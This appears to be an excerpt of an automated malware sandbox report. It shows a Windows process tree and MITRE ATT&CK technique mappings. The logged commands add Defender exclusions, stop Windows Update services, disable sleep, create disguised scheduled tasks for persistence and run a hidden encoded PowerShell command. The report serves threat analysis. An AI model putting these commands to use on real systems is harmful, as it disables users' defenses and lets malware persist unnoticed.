  C:\Windows\system32\net1 helpmsg 8
  2⤵
  PID:5524

C:\Users\Admin\AppData\Local\Temp\is-MOTPU.tmp\azJpwHEnC08BrWKYT6cKjDZf.tmp
"C:\Users\Admin\AppData\Local\Temp\is-MOTPU.tmp\azJpwHEnC08BrWKYT6cKjDZf.tmp" /SL5="$C0192,4692544,832512,C:\Users\Admin\Pictures\azJpwHEnC08BrWKYT6cKjDZf.exe" /SP- /VERYSILENT /SUPPRESSMSGBOXES /PID=5333
1⤵
PID:3096
- C:\Users\Admin\AppData\Local\Temp\is-19C10.tmp\_isetup\_setup64.tmp
  helper 105 0x448
  2⤵
  PID:5204
- C:\Windows\system32\schtasks.exe
  "schtasks" /Query /TN "DigitalPulseUpdateTask"
  2⤵
  PID:5860
- C:\Windows\system32\schtasks.exe
  "schtasks" /Create /TN "DigitalPulseUpdateTask" /SC HOURLY /TR "C:\Users\Admin\AppData\Roaming\DigitalPulse\DigitalPulseUpdate.exe"
  2⤵
  - Creates scheduled task(s)
  PID:5580
- C:\Users\Admin\AppData\Roaming\DigitalPulse\DigitalPulseService.exe
  "C:\Users\Admin\AppData\Roaming\DigitalPulse\DigitalPulseService.exe" 5333:::clickId=:::srcId=
  2⤵
  PID:212

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:5316

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
1⤵
PID:5292
- C:\Windows\System32\sc.exe
  sc stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:1556
- C:\Windows\System32\sc.exe
  sc stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:5100
- C:\Windows\System32\sc.exe
  sc stop wuauserv
  2⤵
  - Launches sc.exe
  PID:5156
- C:\Windows\System32\sc.exe
  sc stop bits
  2⤵
  - Launches sc.exe
  PID:1124
- C:\Windows\System32\sc.exe
  sc stop dosvc
  2⤵
  - Launches sc.exe
  PID:1272

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
1⤵
PID:5344

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
1⤵
PID:5228

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
1⤵
PID:4272

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:2248
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-ac 0
  2⤵
  PID:2888
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-dc 0
  2⤵
  PID:4876
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-ac 0
  2⤵
  PID:1832
- C:\Windows\System32\powercfg.exe
  powercfg /x -standby-timeout-dc 0
  2⤵
  PID:4184

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /delete /f /tn "GoogleUpdateTaskMachineQC"
1⤵
PID:2536

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /create /f /ru "System" /tn "GoogleUpdateTaskMachineQC" /xml "C:\Users\Admin\AppData\Local\Temp\xyvvnnvseiqa.xml"
1⤵
- Creates scheduled task(s)
PID:3672

C:\Windows\System32\schtasks.exe
C:\Windows\System32\schtasks.exe /run /tn "GoogleUpdateTaskMachineQC"
1⤵
PID:5776

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
PID:5476

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 540 -p 3104 -ip 3104
1⤵
PID:2908

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 432 -p 3308 -ip 3308
1⤵
PID:2420

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 5216 -ip 5216
1⤵
PID:5788

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
1⤵
PID:4876

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
1⤵
PID:1288
- C:\Windows\System32\sc.exe
  sc stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:5972
- C:\Windows\System32\sc.exe
  sc stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:4476
- C:\Windows\System32\sc.exe
  sc stop wuauserv
  2⤵
  - Launches sc.exe
  PID:5836
- C:\Windows\System32\sc.exe
  sc stop bits
  2⤵
  - Launches sc.exe
  PID:1572
- C:\Windows\System32\sc.exe
  sc stop dosvc
  2⤵
  - Launches sc.exe
  PID:3540

C:\Windows\System32\cmd.exe
C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
1⤵
PID:4356
- C:\Windows\System32\powercfg.exe
  powercfg /x -hibernate-timeout-ac 0
  2⤵
  PID:748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Disable or Modify Tools

Modify Registry

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery